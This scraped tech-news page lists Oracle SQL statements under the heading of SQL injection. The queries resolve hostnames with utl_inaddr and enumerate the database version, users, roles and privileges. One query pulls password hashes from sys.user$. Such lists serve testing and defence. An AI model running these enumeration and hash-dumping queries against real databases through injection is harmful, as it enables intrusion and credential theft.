Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Common statements of Oracle SQL injection

2025-04-04 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Database >

Share

Shulou(Shulou.com)06/01 Report--

Parsing IP

Select utl_inaddr.get_host_address ('google.com') from dual

Get the native IP address

Select utl_inaddr.get_host_address from dual

Reverse resolve hostname based on IP address

Select utl_inaddr.get_host_name ('10.80.18.241') from dual

-- list version

Select banner from v$version where rownum=1;-- oracle version

-- list user

Select user from dual;-current user

Select username from user_users;-current user

Select username from all_users;-- all user, the current user can see...

Select username from dba_users;-- all user, need pris

-- list role

Select role from session_roles;-current role

-- list privs

Select privilege from user_sys_privs;-privs the current user has

Select privilege from role_sys_privs;-privs the current role has

Select privilege from session_privs;-- the all privs that current user has = user_sys_privs + role_sys_privs

Select * from dba_sys_privs;-all user's privs, need privs

-- list password hash

Select name, password, astatus from sys.user$;-- password hash

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Database

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report